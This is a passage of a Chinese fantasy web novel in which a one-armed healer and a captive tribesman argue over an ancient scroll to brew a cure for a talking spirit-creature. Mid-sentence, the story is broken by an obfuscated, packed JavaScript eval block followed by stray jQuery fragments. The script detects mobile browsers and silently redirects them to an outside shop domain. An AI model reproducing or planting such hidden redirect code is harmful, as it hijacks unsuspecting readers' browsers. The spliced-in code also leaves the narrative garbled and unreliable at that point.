湛乂看着她跑出去的背影,左手从阿术心口收回来,捏了捏自己的手指骨节。七天。他说得轻巧,但兽皮卷最后半页的文字他一个字都不认识,全靠图案推测。如果解方画错了步骤,阿术脑子里的引魂墨只会嵌得更深。
"赵四。"他起身走到石台边重新铺开兽皮卷,"把完颜术拎过来。他就算不认识那半页的字,但部落古老的咒语系统总有共通之处。我读图,他念音,一个字一个字对。"
赵四把完颜术按到石台对面坐下。完颜术低头看着兽皮卷上那些跟自己部落文字似是而非的蝌蚪文,绞尽脑汁地开始猜。湛乂左手执笔,一边听他念一边在旁边木板上写比划,每对上一个音节就在图案旁边画个小小的圈。
火堆噼啪着,溶洞里安安静静的。铁柱带着其他青壮把洞口加固了一层,项伯安默默把晚饭分了,每隔半个时辰往石台上续一壶热水。
阿术趴在两人旁边,用爪子撑着下巴,时不时插一句嘴:"这个图案像虫子没画完尾巴。""那一横为什么是弯的?""你俩别吵架,吵得我脑仁疼。"
湛乂和完颜术确实在吵。一个坚持某段图案画的是"以火驱墨",一个坚持那是"以血引墨",两人对着那团模糊的蝌蚪文互不相让,话越说越快,从南宋官话吵到女真话又吵回官话。
阿术蹲在旁边,把下巴搁在前爪上,看着湛乂跟完颜术吵得面红耳赤但左手写字的速度一点没慢,看着项伯安把热水续了又续,看着赵四在角落里磨刀磨得火花四溅。它的尾巴轻轻扫了一下地面,被火光照着的琥珀色瞳孔里,有什么东西在慢慢沉淀下去。
那天夜里过了子时,项好好才回来。药篓里塞满了血檀树根和艾草,额头上一层细汗,头发乱蓬蓬的沾着草叶。她把篓子往湛乂脚边一放,蹲下来看了看木板上他新写的内容,又看了看趴在旁边打哈欠的阿术。
"研究出什么了?"
湛乂放下笔,揉了揉发酸的手腕:"初步判定解方是用血檀灰、薄荷膏和某种动物眼泪调和,敷在眉心三寸处,每天换一次,持续五天。但动物眼泪这一味……"
项好好伸手从药篓里掏出一只小陶罐,揭开盖子,里面是半罐微微发黄的透明液体:"狗眼泪。我在山下碰到一只被蛇咬了的土狗,给它上了药它舔了我一脸,我顺手接的。"
阿术的眼睛瞪圆了:"你用手接狗眼泪?"
"用罐子。"项好好把陶罐塞到湛乂手里,"够不够?不够明天我再去招惹两只狗。"
湛乂低头看着那半罐狗眼泪,又看了看项好好额头上的汗和草叶,沉默了一下。然后他用左手把她的头发上那根草叶轻轻摘了下来,声音压得比平时低了半度:"够了。敷一次用不了多少。你先去喝水,脸都跑白了。"
项好好"哦"了一声,接过他递来的水囊仰头灌了几口,然后又蹲回石台边上,撑着腮帮子看他配药。火光照得她的侧脸红扑扑的,鼻尖上的汗还没干。
阿术趴在旁边,把下巴搁在爪子上,一只眼睛睁着一只眼睛闭着,尾巴尖以某种极其
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17665534|206499||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
缓慢的节奏一下一下地扫着地面。
完颜术盯着那罐狗眼泪看了半天,最后从牙缝里挤出一句:"……你们这伙人到底什么来头?断臂的能画画,小丫头能接狗眼泪,山神能唠走千年鹿灵。我们白狼部攒了三百年的人手,被你们一窝端了?"
阿术那只睁着的眼睛斜过来看了他一眼:"因为我们这儿桃多。"
完颜术:"……"
湛乂已经开始调药了。血檀灰兑薄荷膏,再加两滴狗眼泪,用左手掌心搓成暗绿色的膏体。他搓药的时候整个溶洞里安安静静的,所有人都屏着呼吸看那只独手在石台上一次次推碾揉搓,指节的茧摩擦着草药,发出细微的沙沙声。
阿术趴在那里看着那只手。它看了很久,然后忽然开口,声音很轻:"断臂哥,你第一天被抬进这个洞的时候,身上全是血。我当时被封在石像里出不来,但从石缝里看见你了。你那时候以为自己死定了。"
湛乂搓药的手顿了一下。
"你现在还这么觉得吗?"
火堆噼啪响了一声。湛乂低下头继续搓药,左手的速度不急不缓,暗绿色的膏体在他掌心逐渐变得均匀细腻,草药的气味混着薄荷的清凉在火堆上方蔓延开来。
"不这么觉得了。"他说。
阿术把下巴转回去重新搁在爪子上,闭了那只睁着的眼。尾巴尖最后扫了一下地面,停住不动了。轻微的鼾声响起来,混杂着火堆的噼啪声和水滴从钟乳石上坠落的滴答声,在溶洞的石壁间轻轻回荡。